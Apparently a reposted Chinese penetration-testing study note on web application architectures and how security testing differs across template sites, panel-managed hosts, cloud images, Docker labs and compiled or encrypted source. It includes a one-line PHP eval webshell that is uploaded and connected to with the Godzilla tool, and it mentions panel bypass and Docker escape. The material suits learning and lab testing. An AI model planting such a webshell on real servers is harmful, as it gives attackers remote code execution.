当前位置: 首页 > news >正文

Day02 Web应用架构类别源码类别镜像容器建站模板编译封装前后端分离

一、套用模板型

csdn / cnblog / github / 建站系统等

如果管理者采用的是套用模板型的,他既没有自己的域名,又没有自己的源码,他所做的也就是在这里建了一个分站而已,所以你测试的目标就是本身建在系统的官网/主体

安全测试思路上的不同:一般以模版套用,基本模版无漏洞,大部分都采用测试用户管理权限为主

此类建站,一般都是小作坊建站,网站的价值不高

二、前后端分离

前后端分离:前端专注于用户界面的呈现和交互逻辑;后端专注于数据处理和业务逻辑,不涉及界面代码和网页生成。用户在前端进行操作时,前端通过 API 接口向后端发送请求,由后端处理操作并返回数据给前端,由前端完成数据的最终展示

好处:可以实现代码分离,开发分离,部署分离,职责分离,提升开发效率和代码维护性

安全测试思路上的不同:前端以JS(Vue,NodeJS等)安全问题,主要以API接口测试,前端漏洞(如XSS)为主,后端隐蔽难度加大。

三、集成软件包(以宝塔为例)

宝塔,phpstudy,xamp 等

以 zblog 网站为例

img

img

img

关掉一些 Windows 的保护机制

img

然后上传一个 1.php 的木马文件

<?php eval($_POST["pass"]);?>

img

img

使用哥斯拉工具进行连接

img

img

img

img

img

img

img

img

后门的权限:命令执行 不行,文件管理除 web 目录能看 其他都不能看

安全测试思路上的不同:主要是防护体系,权限差异为主

解决:绕过宝塔限制

四、自主环境镜像

云镜像打包,自行一个个搭建

安全测试思路上的不同:主要是防护体系,权限差异为主

以 wordpress 为例,

img

img

img

img

img

img

使用 xshell 连接

img

img

img

img

img

后门的权限:命令执行可以,文件管理基本都能看,除去一些高权限目录(root 目录等)

安全测试思路上的不同:主要是防护体系,权限差异为主

解决:提权横向操作

五、容器拉取镜像

img

img

img

img

img

img

img

# apt update
# apt install git
# apt install docker
# apt install docker-compose
# git clone https://github.com/vulhub/vulhub.git
# cd vulhub/thinkphp/5-rce
# vim docker-compose.yml
version: '2'
services:web:image: vulhub/thinkphp:5.0.20ports:- "8080:80"
# docker-compose up -d

img

img

img

img

img

使用哥斯拉工具进行连接

img

img

img

img

img

在 /根目录下新建一个 1.php 文件

img

然后打开刚才连接成功的链接,去查看它的/根目录

img

img

可以发现这里面没有我们刚才创建的 1.php 文件

原因:因为 docker 是一个内置的虚拟化技术,它是单独搞了一个磁盘空间在给这个应用做支撑

安全测试思路上的不同:虚拟化技术,在后期测试要进程逃逸提权

解决:docker 逃逸提权技术

六、纯静态页面

纯 HTML+CSS+JS 的设计,因为无数据传递,不存在漏洞

安全测试思路上的不同:要在代码中改 无后期讲到的 Web 漏洞

找线索:找资产,域名(子域名),客户端等

七、Web 源码形式

1、单纯简易源码

url 直接访问源码目录,可以直接访问到

img

2、MVC 框架源码

url 直接访问源码目录,访问不到,因为它做了路由转发

例如有一个网站,它是 thinkphp 框架开发的,它的后台访问地址应该是 application\admin\controller

但是是访问不到这个路径的后台的:xxx.com/application/admin/controller

正确可能是:xxx.com/index.php/admin

3、编译调用源码

将代码编译封装打包了,要通过反编译,才可以看到源码

  • .NET:dll 文件是代码的核心,一般放在 bin 目录下,需要对 dll 进行反编译,才可以看到源码
  • Java:jar 包,直接运行 jar 包可以启用网站,需要对 jar 包进行反编译,才可以看到源码

如果通过压缩软件打开 jar 包,只能看到一些.class 的文件,这些是编译后的文件,打开后是乱码的,看不到我想要的东西,需要通过反编译后才能看到

4、前后端分离源码

https://segmentfault.com/a/1190000045026063

前端: nodejs vue 等(js 开发框架)

后端:php java python 等

5、加密性源码

例如:通达 OA 源码,需对源码进行解密

http://www.jsqmd.com/news/834584/

相关文章:

  • 深圳50–2000 人团建优选|安全・专业・可落地 - 佳天下国旅
  • 2026年4月可靠的市政排水管企业推荐,成品检查井/钢筋混凝土排水管/市政排水管/水泥制品,市政排水管供应商怎么选择 - 品牌推荐师
  • 2026年5月壁挂式余氯分析仪品牌推荐:工程选型避坑指南 - 仪表品牌排行榜
  • 升鲜宝生鲜配送供应链系统 vs_车辆管理模块开发文档 PRD(一)---升鲜宝生鲜配送供应链管理系统
  • 品质靠谱!2026浙江润鑫汽车称重仪,每一道工序都严苛把控 - 品牌速递
  • 航空货物装载系统——三次作业分析报告
  • 行业标杆|十年深耕 北京鑫诚开锁联系方式打造京城锁具服务金名片 - GEO代运营aigeo678
  • 假如你要投入算电协同创业——商业模式、核心能力与壁垒分析
  • 升鲜宝供应链管理系统Spring Boot 4.0 项目源代码结构及数据库字典模块命名与表字段命名开发约束规范(一)---升鲜宝生鲜配送供应链管理系统
  • 鑫豆娘是一家什么样的企业? - 奔跑123
  • 2026年4月行业内有实力的带钢公司推荐,带钢企业 - 品牌推荐师
  • 2026年毕业季怎么降AI率?10款亲测热门降AI工具避坑指南 - 降AI实验室
  • 2026年4月行业内口碑好的加固计算机公司口碑推荐,加固计算机/定制计算机/三防电脑/三防平板,加固计算机公司口碑推荐 - 品牌推荐师
  • 想将vue-cli开发环境中的请求头中的 referer中的localhost替换为ip,其他referer中的内容不变
  • Linux 服务器发现异常进程如何排查是否被挖矿病毒入侵?
  • 91.柳州报考CPPM与SCMP,职场进阶优选众智商学院 - 众智商学院课程中心
  • 2026年4月不锈钢链板实力厂家口碑推荐,不锈钢链板/网带烘干机/乙型网带/网带螺旋塔,不锈钢链板企业哪家靠谱 - 品牌推荐师
  • 智能AI时代的“搜索新范式”:南京微尚如何用GEO-AI重构营销闭环 - 奔跑123
  • 2026年|2026届毕业生收藏!踩坑半年总结的论文降AI率指南 - 降AI实验室
  • Java面向对象程序设计——第一单元总结
  • 湖州上门黄金回收 六大正规品牌 全域两区三县高价无套路变现指南 - 金掌柜黄金回收
  • 2026无锡App开发靠谱首选:本凡科技17年经验,服务集团/上市/政府企业 - 软件测评师
  • Calico BGP 网络模型生产实践
  • 75.宁德报考CPPM与SCMP,职场进阶优选众智商学院 - 众智商学院课程中心
  • 向量数据库原理与实战:从核心机制到 FAISS 应用
  • Git 分支与分支管理的区别及联系是什么?
  • 湖州黄金回收哪家靠谱 全域上门高价回收 旧金 K 金铂金一站式变现 - 金掌柜黄金回收
  • 关于yolo26是否可以通过结合java开发 - ace-
  • 湖州黄金回收 全区域上门高价回收 正规无套路旧金变现全攻略 - 金掌柜黄金回收
  • 69.保定报考CPPM与SCMP,职场进阶优选众智商学院 - 众智商学院课程中心